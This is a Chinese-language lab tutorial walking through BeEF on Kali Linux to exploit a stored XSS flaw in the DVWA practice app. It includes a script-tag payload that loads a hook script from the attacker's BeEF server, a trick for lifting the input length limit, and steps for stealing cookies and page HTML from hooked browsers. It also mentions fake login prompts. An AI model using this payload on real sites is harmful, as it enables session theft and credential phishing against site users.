跨站腳本漏洞(Cross-site scripting,通常簡稱為XSS)發生在客戶端,可被用于進行竊取隱私、釣魚欺騙、竊取密碼、傳播惡意代碼等攻擊。XSS攻擊使用到的技術主要為html和JAVAscript,也包括VBScript和ActionScript等。XSS攻擊對WEB服務器雖無直接危害,但是它借助網站進行傳播,使網站的使用用戶受到攻擊,導致網站用戶帳號被竊取,從而對網站也產生了較嚴重的危害。想要了解更多關于XSS漏洞的信息,可以查看我的文章《十大常見web漏洞——跨站腳本漏洞》和《實操web漏洞驗證——跨站腳本漏洞》兩篇文章。
BeEF是我遇見的唯一一款XSS漏洞利用工具,也是集成在kali系統當中的,我說過,能夠被kali所看中的工具,都是十分強大的工具,下面我們就來介紹一下BeEF這款工具是怎么利用XSS漏洞的,首先我們打開kali,選擇左上角“應用程序-漏洞利用工具集-beef xss”,如下圖所示:
kaili
點擊后,稍微等待一會就會出現如下圖界面,我們需要注意的是圖中紅框中的內容,web UI:http://127.0.0.1:3000/ui/panel,我們可以在kali中打開瀏覽器訪問這個鏈接。
BeEF
打開kaili中火狐瀏覽器,輸入:http://127.0.0.1:3000/ui/panel,就會進入出現如下登錄界面,用戶和密碼都是beef。我再次強調是在kaili中的瀏覽器中登錄BeEF,如果不是的話,就需要修改ip地址:127.0.0.1為虛擬機kaili的ip地址,我查了一下是:192.168.199.137,也就是訪問:http://192.168.199.137:3000/ui/panel,來進入登錄界面。
BeEF登錄界面
輸入用戶和密碼,都是beef,點擊登錄后就會進入BeEF主界面,左側顯示在線和不在線的受到攻擊的主機,現在還沒有利用存在漏洞的站點,所以都為空。
BeEF主界面
下面我們利用DVWA中的存儲型XSS漏洞來演示BeEF是怎樣的利用XSS漏洞的,首先進入DVWA,選擇XSS(stored),如下圖所示:
DVWA
在Name輸入框中輸入XSS(也可以取其他名字),在Message輸入框中輸入圖BeEF中紅框中的最后一段代碼:<script src="http://127.0.0.1:3000/hook.js"></script>,這里同樣需要將ip地址修改為kaili的ip地址即:<script src="http://192.168.199.137:3000/hook.js"></script>,因為DVWA不是在kaili中搭建的,這時還有一個問題Message輸入框設置了輸入內容長度限制,我們可以在瀏覽器中按“F12”,找到Message輸入框對應的代碼“maxlength”參數50改為200,就可以輸入了,最后點擊“Sign Guestbook”。
這時其實我訪問DVWA的主機已經中招了,我們打開kali中的瀏覽器,查看BeEF主界面,這時左側“Online Browsers”就會出現中招主機的ip地址,從圖標中可以看出是windows系統。
為了對比顯示,我們在kali的瀏覽器中訪問:http://192.168.9.202:8000/DVWA/,也就是存在XSS漏洞的DVWA的XSS(stored)界面,因為是存儲型XSS,所以只要點擊XSS(stored),就會造成XSS攻擊,再返回BeEF主界面可以看到左側“Online Browsers”又多了一個linux主機ip,如下圖所示:
下面我們演示幾個簡單的BeEF攻擊,我們點擊左側在線主機ip,就會跳出如下圖的一個界面,這里顯示了一些該主機的一些簡單信息。
我們選擇“Commends-Browser-Hooked Domain-Get Cookies”點擊右下角“Execute”,就可以獲得當前頁面的cookies值。
點擊“Get Page HTML”再點擊右下角“Execute”,點擊攻擊記錄,就可以獲得頁面的HTML代碼,如下圖所示:
在這里我就演示這兩個簡單的攻擊操作,BeEF里還有許多利用XSS漏洞攻擊的方式,其中還包括偽造用戶登錄界面,騙取用戶輸入用戶名和密碼,從而非法得到用戶的登錄信息,有興趣的用戶可以安裝測試環境自己親身操作,文章中涉及到的kaili和DVWA環境,有機會我會介紹給大家,歡迎關注@科技興了解更多科技尤其是網絡安全領域的知識。






